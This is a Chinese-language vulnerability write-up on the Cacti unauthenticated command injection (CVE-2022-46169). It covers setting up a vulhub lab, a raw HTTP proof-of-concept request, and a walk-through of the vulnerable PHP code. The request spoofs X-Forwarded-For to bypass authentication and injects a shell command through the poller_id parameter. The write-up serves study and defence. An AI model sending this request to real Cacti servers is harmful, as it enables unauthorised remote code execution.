> 技术文档 > Cacti 前台命令注入漏洞(CVE-2022-46169)

Cacti 前台命令注入漏洞(CVE-2022-46169)


一、漏洞简述

Cacti 是一个开源平台,为用户提供了一个强大且可扩展的操作监控和故障管理框架。在受影响的版本中,如果为任何受监控设备选择了特定数据源,则命令注入漏洞允许未经身份验证的用户在运行 Cacti 的服务器上执行任意代码。

二、环境搭建

  • vulhub基于linux系统部署漏洞环境
  • burpsuite抓包工具

步骤A

在 vulhub 中拉取 CVE-2022-46169 镜像

cd vulhub-master/Cacti/CVE-2022-46169/docker-compose up -d

步骤B 

访问http://ip:port即可,如下图

账户密码都是admin,然后直接next点击默认安装即可,进去如下图

漏洞环境搭建工作完成 

三、POC

GET /remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success` HTTP/1.1X-Forwarded-For: 127.0.0.1Host: 192.168.20.150:8080Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9Connection: keep-alive

四、漏洞原理分析

漏洞整体分为两部分是登录绕过与命令注入 

身份绕过:

我们来到这一页,很显然易见的发现的一点,用户传过来的所有信息是用户可操控的(指的是可以通过改包来操控)这个文件就到这里,其实最多是集中在remote_agent.php这个文件中,我们进去看一下,首先发现有多php资源的加载和获取

 这里有一个认证身份的代码块,跟进函数看一下

 

 通过构造X-Forwarded-For:127.0.0.1 让下面循环break2跳出的时候 client_addr为127.0.0.1

 

$pollers = db_fetch_assoc(\'SELECT * FROM poller\', true, $poller_db_cnn_id); //sql语句,进行从poller表中获取所有的$pollers

到了这句我们发现执行了个sql查询,我在本地sql服务查了这个表之后
 

再往下看就是一个判断,大致是对ip进行身份验证,然后进行返回,其实很容易看出来是在验证是否为本地ip地址

$client_name = gethostbyaddr($client_addr);

 身份鉴权绕过大致是这样 

命令注入:

我们再回到原来的位置,继续向下,这里有一个set_default_action();我们可以进去看一下执行了什么

这里通过get_request_var可控参数action传值polldata进入到poll_for_data()

我们跟进去看一下,接下来重头戏来了,首先我们可以看到参数的获取,他们是从get_filter_request_var()函数获取,我们可以看一下发现几乎没有任何过滤,就是从请求拿信息,这也对照了POC里面三个参数的来源 

继续往下看

不难发现会根据 $host_id 和 $local_data_ids会被作为sql查询的标准来从poller_item这个表里面找信息,然后存到数组 $items,本地查了一下,这里刚好发现里面有action这个参数,猜测可能要获取action的值 

接下来会进入一个switch...case,这里会用action的值进行选择,这里显然易见发现一个命令执行,这里是在$poller_id这里进行命令注入。

$cactiphp = proc_open(read_config_option(\'path_php_binary\') . \' -q \' . $config[\'base_path\'] . \'/script_server.php realtime \' . $poller_id, $cactides, $pipes);